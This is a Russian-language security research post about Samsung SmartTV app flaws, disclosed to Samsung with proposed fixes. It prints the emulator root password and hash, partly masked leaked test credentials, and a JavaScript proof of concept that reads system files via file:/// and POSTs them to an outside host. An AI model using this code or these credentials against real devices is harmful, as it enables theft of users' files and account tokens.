* — в статье пойдет речь только про Samsung SmartTV


Изображение с mnn.com

«Please be aware that if your spoken words include personal or other sensitive information, that information will be among the data captured and transmitted to a third party.»

Соглашение о конфиденциальности Samsung SmartTV (до февраля 2015 года)

The telescreen received and transmitted simultaneously. Any sound that Winston made, above the level of a very low whisper, would be picked up by it; moreover, so long as he remained within the field of vision which the metal plate commanded, he could be seen as well as heard. There was of course no way of knowing whether you were being watched at any given moment. How often, or on what system, the Thought Police plugged in on any individual wire was guesswork.

«1984» — роман-антиутопия Джорджа Оруэлла, изданный в 1949 году

Вступление

Буквально на прошлой неделе прошла конференция ZeroNights, про которую мы так много писали на Хабре (еще не опубликован финальный отчет, надо дописать). И кроме всего прочего, там я прочитал доклад про Samsung SmartTV, рассказав, что может быть, если при проектировании подобных мультимедийных платформ руководствоваться интуитивно наиболее близкими и легкими решениями (раскроем эту тему это очень подробно). Формат повествования был выбран хронологический, т.е. как я и что смотрел и как прорабатывал решение, будь бы я инженером подобного устройства.

Идею посмотреть SmartTV мне подкинули, Samsung был выбран из-за наибольшей популярности на рынке. Как оказалось, тема уже была раскрыта:

• samygo.tv
• media.blackhat.com/us-13/US-13-Lee-Hacking-Surveilling-and-Deceiving-Victims-on-Smart-TV-Slides.pdf
• community.hpe.com/t5/Security-Research/Hacking-my-smart-TV-an-old-new-thing/ba-p/6645844#.VKHH9AIqA
• www.delaat.net/rp/2012-2013/p39/report.pdf
• marcoramilli.blogspot.ru/2013/05/firmware-hacking-samsung-smart-tv-turn.html
• ...

Т.е. уже и удаленно (!) рутали (записывая данные с камер и микрофонов), сетевые протоколы разобрали, да и вообще покрыли тему очень хорошо. Параллельно стал замечать, что все советуют отключать автообновления, выходят фиксы, а значит Samsung не забивает на баги и мониторит эту тему.

Встречались и странные презентации на серьезных конференциях, которые бросали пыль в глаза, могу отметить www.rsaconference.com/writable/presentations/file_upload/ht-r08-how-hackers-are-outsmarting-smart-tvs-and-why-it-matters-to-you_copy1.pdf с RSA, где авторы не нашли ни одной уязвимости, размышляли над рисками, как легко и просто можно все поломать за счет старого софта (в т.ч. и браузера), но что-то умолчали тему написания шеллкодов и не привели ни одного proof of concept (так что полный незачёт). Новости с красивыми картинками типа этой, про вымогатели на SmartTV, дали понять, что некоторые хотят использовать платформу для продаж своего решения.

Узнав, что приложения под SmartTV создаются на HTML/CSS/JS непременно стал искать доклады на эту тему. Но их… нет! Тогда я и решил разобраться в теме.

Сначала определился с модельным рядом, он делится на две категории:

• 2008-2014 — A, B, C, D, E, F, H (Bada) — практически любую модель можно порутать (может зависить от установленных патчей), куча способов ставить приложения не из маркета
• 2015+ — J (Tizen) — самая свежая модель. Нет публично известных способов рутования девайса, так что пока тема не покрыта. Но ставить свои приложения уже можно

Архитектура взаимодействия

Где-то внутри себя понимая, что принцип работы приложений под SmartTV должен быть похож на работу расширений в браузере (набор правил доступа к API, разным origin и т.п.) начал гуглить его. Но нашел только что-то типа такого



Что было немного странным, ведь это типично для любой системы, напрямую работающую с обычным динамическим контентом, без дополнительного API. Никак не получалось найти всего того, что ожидал опыт работы с расширениями и ответ нашелся немного позже.

Приложения

Подняв тему приложений и уже начиная погружаться в нее сильнее настало время написать что-то свое. Типичное приложение под SmartTV — это «обычный» одностраничный сайт (Single Page Application), который имеет доступ к Low-level API (т.е. набор дополнительных javascript функций, которые можно также вызывать как и все другие).

Приложение состоит из HTML/JS/CSS файлов, вдобавок идут XML и JSON (в основном — метаинформация). Но в целом — любая статика.

Samsung предоставляет разработчикам эмулятор и довольно интересным способом! Включает в себя машину VirtualBox

• www.samsungdforum.com/Devtools/SdkDownload — SDK Emulator (5.1, 2014)
• Ubuntu 12.04.2 LTS
• Linux smarttvemulator 3.2.0-41
• 1 GB RAM / 8 GB HDD
• Можно запускать свои приложения, но все API доступно
• Все работает из под root (это выяснилось позже)

И предлагает выставить пару расшаренных директорий с хост системой, где нужно разместить свои приложения.

Запущенный эмулятор Samsung SmartTV

Очень интересное решение, более не давать никакого доступа. Скачав какой-то готовый виджет в интернетах, скопировал в папку Apps, запустил — работает. Настало время посмотреть дебажить его и логичное желание было зайти рутом по ssh, но почему-то не увидел нигде пароля от него (на странице загрузки).

Начал гуглить, первая, вторая страница… Нигде нет. Наткнулся на статью как раз по моей теме (кажется, единственная) — mherfurt.wordpress.com/2014/10/10/auditing-samsung-smart-tv-apps, но он пишет

Unfortunately, there is no publicly communicated password for neither the smarttv user nor any other user that might log onto the virtual emulator

Раз такое дело — найдем его сами

• Монтируем диск эмулятора на другой Linux системе (я смонтировал в другой виртуалке)
• Ищем пароль

Первый путь
1.

# cat /etc/shadow
root:g4KfRyC9MkXuM:16177:0:99999:7:::

2. hashcat
3. 1q2w3E

Второй путь:

# grep -r mkpasswd .
./checkAndLaunchEmulator.sh:	[ -f /home/smarttv/Installer/.releaseOVAFlag ] && usermod smarttv -p `mkpasswd 1q2w3E` && cp  -f .xinitrc.r .xinitrc && usermod root -p `mkpasswd 1q2w3E`

Ок, теперь сделаем так, чтобы пароль наконец-то гуглился и был на первых страницах

                SAMSUNG SMART TV EMULATOR ROOT PASS IS 1q2w3E

Теперь у нас в распоряжении виртуалка с приложениями с хост системы, файлы которых открыты в Sublime и рут до эмулятора. Запустив готовое приложение и удалив из него все ненужное (хотя можно взять и blank приложение от Samsung — www.samsungdforum.com/Guide/art00011/index.html) идем исследовать систему, как же работают приложения и какие подводные камни могут быть.

Работа с файловой системой

С точки зрения атакующего первое, к чему хочется получить доступ (ну кроме RCE) — это доступ к файловой системе и к каким-нибудь чужим данным. И для работы с ней есть специальный класс — FileSystem. Пример кода:

var fileSystemObj = new FileSystem();
var fileObj = fileSystemObj.openCommonFile(curWidget.id + '/testFile.data', 'r');
var strResult = fileObj.readAll();

Выглядит нормально, но… что за curWidget.id? Логично, что это вроде текущая папка приложения. Но зачем её передавать? Неужели мы можем открыть файл в корне хранилища? Или… открыть хранилище чужого приложения? Как оказалось — да, и вроде в этом даже есть намек в документации. Также проверяем доступ к какому-нибудь /etc/passwd через ../../../../, но ничего не выходит.

Скачав приложение VK под SmartTV решил посмотреть, куда оно сохранит свой секретный oauth токен. Как оказалось, как раз в свою папку именно по алгоритму выше! Итог, наш вектор:

• Жертва имеет приложение от какой-нибудь соц. сети, которое хранит секретный токен через общее хранилище (например, как получилось в ВК)
• Жертва устанавливает наше приложение
• Наше приложение ворует секретный OAuth токен

Решение? Хранить токен в том же localStorage.
Итог — угон аккаунта. Я решил пообщаться на эту тему с разработчиками приложения ВК и они рассказали, что localStorage есть не всех моделях, поэтому это такой fallback (но соответствующую проверку они предусмотрели). Как окажется — это их (в целом, разработчиков) не спасет :)

Фикс для Samsung?

• При установке каждого приложения создавать нового юзера в системе (с автоинкрементальным id, типа widget12345, как на Android)
• Не менять API для обратной совместимости, но каждое приложение запускать под своим юзером и папке curWidget.id присваивать корректные chmod/chown права. А разработчикам сказать — храните секретные данные только в своей папке. Если надо обмениваться данными с другими приложениями — пишите в корень.

Также есть свое API для доступа к

• Микрофону
• Камерам
• Технологии SmartHome, позволяющей объединить все устройства в одну сеть
• Сеть (get / set)
• Жесты
• И другие low-level функции

Но я решил переключиться и понять, где мы вообще исполняем свои приложения.

Same Origin Policy

Именно эти три главных слова и их смысл нужно понимать каждому веб-разработчику. Сделав банальный

document.write(document.location)

Получил адрес вида file:///mtd_down/widgets/user/XXX/index.html?country=RU и увидев схему file:/// был жутко удивлен. Мы же запускаем HTML страницу с произвольным JS и об этом же знает каждый разработчик под SmartTV! 6 лет! Почему никто не бил тревогу? К теме — исполняя JS мы имеем доступ только к текущему Origin'у, а в данном случае с file:/// — ко всей файловой системе. В современных браузерах стоит костыль (NS_ERROR_DOM_BAD_URI: Access to restricted URI denied), который это запрещает, но здесь — нет. Т.е. любой виджет имеет доступ к файловой системе (через ajax запросы) под юзером, под которым запущен браузер.

Написав маленький PoC, который бы пересылал данные с телевизора на моей внешний сервер

file = 'file:///etc/passwd';
var rawFile = new XMLHttpRequest();
rawFile.open("GET", file, false);
rawFile.onreadystatechange = function ()
{
    if(rawFile.readyState === 4)
    {
        if(rawFile.status === 200 || rawFile.status == 0)
        {
            var allText = rawFile.responseText;
            var url = "http://hacker.website/smarttv/";
            var params = "file="+file+"&content="+allText;
            var xhr = new XMLHttpRequest();
            xhr.open("POST", url, true);
            xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhr.send(params);
        }
    }
}
rawFile.send(null);

Начал его тестировать. Итог — на эмуляторе успешно прочитан и /etc/shadow (так как под рутом), а на реальном телевизоре — все общие файлы.


Тестируем на эмуляторе. Для наглядности — выведем содержимое /etc/shadow на экран

Телевизор
file:///etc/passwd

root::0:0:Root,,,:/:/bin/sh
app::1010:1010:app,,,:/:/bin/sh
webapp::1011:1011:webapp,,,:/:/bin/sh

file:///etc/group

root::0:0
app::1010:app
webapp::1011:webapp
gfx::500:app,webapp
video::501:app,webapp
audio::502:app,webapp
disk::503:app,webapp
security::504:app,webapp
camera::505:505
dtvlogd::506:app

Углубляясь в проблему с SOP — мы читаем как системные файлы, так и cookies/localStorage (бинарные файлы читаются таким же образом) приложений, выходя за ограничение FileSystem().

В итоге проблема в том, что разработчики не имеют безопасного хранилища секретных данных (типа токенов OAuth). И здесь отсылка к названию и началу статьи и доклада.

Фикс для Samsung?

• При установке каждого приложения создавать нового юзера в системе (с автоинкрементальным id, типа widget12345, как в пункте с FileSystem)
• Добавить маленький DNS сервер, который будет хэндлить зону вида *.smartlocal и заворачивать все домены на 127.0.0.1, остальные запросы проксировать через системный DNS сервер. Или просто захардкодить это прямо в браузере
• Использовать уже установленный lighttpd для разруливания этой зоны (хэндлить виртуальные хосты и отдавать статику)
• Запускать каждый виджет в изолированном Origin, вида
  
  • widgetid123456.smartlocal
  • widgetid145356.smartlocal
  • widgetid7777.smartlocal

Это более безопасно и решит проблему. Или пойти по пути Chromium с расширениями — своя схема со своим большим и обширным API.

Пути внедрения злобного JS?

• Представим себе приложение, которое прошло review в маркете и грузит внешний JS (<script src="http:///"></script> ). После успешной модерации автор подменяет всем пользователям исполняемый код. Просто рай (:
• MitM при подгрузке данных по HTTP
• Или… XSS атака. Ведь это же банальное веб-приложение!

А с XSS действительно весело. Проведя атаку мы не только получаем доступ к Low level API, но и к файловой системе, стараясь быстрее выкачать файлы с телевизора %) Здесь возможны только DOM XSS на приложения типа соц. сетей и им подобных.

Уязвимости приложений

Разобравшись с чем мы имеем дело поговорим о проблемах уже самих приложений, которые пишут разработчики. Я довольно бегло смотрел каждое приложение, но в каждом что-то нашлось из списка:

• XSS, про которое мы уже поговорили. Так как мы имеем обычное SPA приложение и если мы найдем способ провести XSS атаку, мы получаем доступ к extra API (и доступ к разному железу) / файловой системе и возможности похищать секретные токены / внутренним IP адресам (через чтение системных файлов) / и т.д. Сканим локальную сеть (http://ba.net/util/nmap/nmap.html), атакуем роутеры (routerpwn.com) и т.п.
• Утечки информации (девелоперские серверы, где находятся тестовые версии приложений, внутренние IP и т.п.)
• Некоторые из HTML5 проблем, но признаюсь честно, что их проэксплуатировать в реальных условиях скорее всего не выйдет
• Небезопасная передача данных (HTTP+MitM)

И у разработчиков нет возможности захарденить свое приложение тем же CSP.

Давайте я приведу реальный пример с утечками информации. Проверять надо все файлы приложения (хватит банального grep'a). В одном из приложений получилось найти тестовые учетки…

	someObject.id = "samsung*****@gmail.com";
	someObject.pw = "deXXXXX";
	someObject.id = "*********dev@gmail.com";
	someObject.pw = "tjXXXXX";

Для проверки API. Они подошли к facebook


Мне намекают, что я захожу из необычной для аккаунта локации

Кстати, на скрине выше можно заметить, что используется мобильная версия. В десктопной версии просто не показывает в подобной ситуации под кем мы логинимся (а здесь снизу — «Not Kim?»).

Сделаем некоторые выводы. Если у вас есть SmartTV:

• Не ставьте виджеты от Васяна
• Получили рут? Используйте осмысленно. В том числе проверьте способ, каким вы его получили
• Верьте, что все приложения написаны без уязвимостей и подгрузят в день Х лишний код :)

Разработчик? Не пытайтесь доказать, что вы пишите только фронт и у вас банальное SPA, а безопасностью должны заниматься бэкэндщики. Пишите так, чтобы не было уязвимостей (в целом про небезопасный frontend писал ранее — habrahabr.ru/company/dsec/blog/259389)

Заключение

• Нет возможности хранить файлы секретным образом (ходя городить секретные id для имени токенов в целом можно, усложнит задачу атакующему)
• Допущенное место для XSS атак создаст больше проблем, чем обычно
• Разработчики приложений пока еще не думают о безопасности своих приложений
• Верьте, что market review не пропустит злобного приложения, которое подгрузит код с внешнего ресурса. Даже если Samsung (да и не только они) примут политику не пропускать приложения с внешними <script src="http:///"></script> всегда атакующие могут допустить XSS в своем же приложении и внедрить код таким образом
• Этот материал должен быть обновлен, как только у меня будет Tizen. Я пытался найти кого-нибудь с Tizen, но среди моих знакомых таких не оказалось.

Стоит отметить, что Samsung был в курсе всей ситуации и мы с ними общались по всем пунктам в статье. Они уже исправили проблему с SOP в Tizen (так говорят, но сам не могу пока проверить) и занимаются решением других вопросов, выпуская обновления для телевизоров на Bada, поэтому как вендору в целом только плюс, хотя бы за то, что у они единственные, кто платят за уязвимости (от $1000) в своих телевизорах (в моем случае про проблему с SOP и др. вещи были уже в курсе, поэтому not qualified).

Статья в том числе про то, как интуитивно простое решение (запускать приложения через file:///) в самом начале может привести к куче проблем, которые не так то просто решить при разросшейся линейке девайсов, и чуть ли ни единственным решением (и многих других проблем, которые были архитектурно допущены в далеком 2008) является переезд на другую ОС. И подобные проблемы могут быть не только с умными телевизорами, но и машинами, холодильниками и т.д, ведь для всех интегрировать веб и дать писать приложения при помощи веб-технологий — самое простое решение.

После доклада было много вопросов, которые я не стал освещать в статье (будет доступна запись доклада).

И последнее — у меня нет и никогда не было SmartTV. Все опыты на реальном железе проводились у коллеги и выглядели так